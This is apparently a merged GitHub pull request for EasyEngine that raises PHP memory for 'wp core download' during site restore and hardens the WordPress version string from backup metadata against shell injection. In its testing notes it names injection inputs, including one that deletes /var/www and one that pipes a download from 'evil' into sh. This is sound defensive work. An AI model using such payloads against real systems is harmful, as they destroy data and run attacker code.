fix(restore): raise PHP memory_limit for wp core download to prevent OOM#479
Merged
mrrobot47 merged 3 commits intoJun 12, 2026
Merged
Conversation
During restore, 'wp core download' downloads and extracts the WordPress archive in PHP. It ran with the site container's default 128M memory_limit, so on low-RAM hosts the extraction exhausts memory and the restore is OOM-killed. Set WP_CLI_PHP_ARGS='-d memory_limit=512M' for that command so WP-CLI applies the higher limit to the PHP process it spawns. The restore runs the command via 'ee shell --command', which executes through bash in the php container (Shell_Command.php), so the env-var prefix is honoured. This mirrors the site-creation path in site-type-wp, which already runs core download with 'php -d memory_limit=256M'. Other restore wp-cli calls (wp config set, wp cache flush) are trivial and left unchanged.
Contributor
There was a problem hiding this comment.
Pull request overview
This PR aims to prevent out-of-memory failures during ee site restore by increasing the PHP memory_limit used specifically for wp core download, which performs archive extraction in PHP and can exceed typical container defaults on low-RAM hosts.
Changes:
- Prefixes the restore-time
wp core downloadcommand withWP_CLI_PHP_ARGS='-d memory_limit=512M'to raise PHP’s memory limit for that operation. - Adds inline rationale comments explaining why the memory bump is necessary and why the env-var prefix works in this execution path.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
…re download The previous commit raised the limit via WP_CLI_PHP_ARGS, but that env var is only read by WP-CLI's bash launcher. EE's 'wp' is the phar invoked directly (which is why site creation runs 'php -d memory_limit=256M $(which wp) core download'), so WP_CLI_PHP_ARGS would be ignored and the limit never applied. EE has no WP_CLI_PHP_ARGS usage anywhere. Match the proven site-type-wp pattern instead: 'php -d memory_limit=256M $(which wp) core download ...'. The restore runs this via ee shell --command, which (like site creation) goes through 'bash -c "<cmd>"' in the php container, so the '$' is escaped to defer the which-wp substitution to the container shell. Value is 256M to match the site-creation path (proven sufficient for the same operation on the same hardware).
Addresses a Copilot review finding: wordpressVersion is read from the backup's meta.json and interpolated into the wp core download shell command, which runs through 'bash -c' in the container. A backup carrying a crafted wordpressVersion (e.g. one pulled from remote storage) could therefore inject shell tokens during 'ee site restore'. Whitelist-sanitize the value to [0-9A-Za-z.-] -- the full character set of a legitimate WordPress version -- so no shell metacharacter survives. A whitelist is used rather than escapeshellarg() because the command crosses two shell layers (host sh, then container bash via 'bash -c "..."'), where single-layer escaping is unreliable. A malformed version reduces to an invalid version string, which fails wp core download safely.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
During
ee site restore,wp core downloaddownloads and extracts the WordPress archive in PHP. It ran with the site container's defaultmemory_limit(typically128M), so on low-RAM hosts the extraction exhausts PHP memory and the restore is OOM-killed — even though the restore otherwise completes.Root cause
restore_wp()ran the command unguarded:This is the only
wp core downloadinvocation in EasyEngine that lacks a memory bump. The site-creation path insite-type-wp(WordPress.php) already guards it:Fix
Run the restore's core download under a higher PHP
memory_limit, using the same mechanism as site creation:php -d memory_limitand notWP_CLI_PHP_ARGS: EasyEngine'swpis the phar, invoked directly, so theWP_CLI_PHP_ARGSenv var (read only by WP-CLI's bash launcher) would not apply. EE has noWP_CLI_PHP_ARGSusage anywhere;php -d memory_limit=… $(which wp)is the established, proven pattern.$(which wp)escaping: the restore runs this viaee shell --command, which (like site creation) executes throughbash -c "<cmd>"in the php container (docker_compose_exec(..., shell_wrapper=true)). The$is escaped so the host shell defers thewhich wpsubstitution to the container's bash.256M: matches the site-creation path, which is proven sufficient for the same operation on the same hardware (restore↔creation parity).Command-injection hardening
$wp_versionis read from the backup'smeta.jsonand interpolated into the shell command, so a backup carrying a craftedwordpressVersion(e.g. one pulled from remote storage) could inject shell tokens. It is now whitelist-sanitized:A whitelist is used rather than
escapeshellarg()because the command crosses two shell layers (hostsh, then containerbash -c "…"), where single-layer escaping is unreliable.[0-9A-Za-z.-]covers every legitimate WordPress version (6.5.2,6.6-beta2,6.5.2-RC1); a malformed value reduces to an invalid version string and failswp core downloadsafely.Other restore wp-cli calls (
wp config set DB_*,wp cache flush) are trivial and left unchanged.Commits
wp core download(initial approach viaWP_CLI_PHP_ARGS).php -d memory_limit=256M $(which wp)— the proven site-creation mechanism (WP_CLI_PHP_ARGSis ignored by the phar).$wp_versionfrom backup metadata before shell use.(Can be squashed on merge.)
Testing
php -l src/helper/Site_Backup_Restore.phppasses.php -d memory_limit=256M \$(which wp) core download …) and that both paths run throughdocker_compose_exec(..., shell_wrapper=true)→bash -c, so the escaped$(which wp)resolves in the container.6.5; rm -rf /var/wwwand$(curl evil|sh)are stripped to harmless invalid version strings.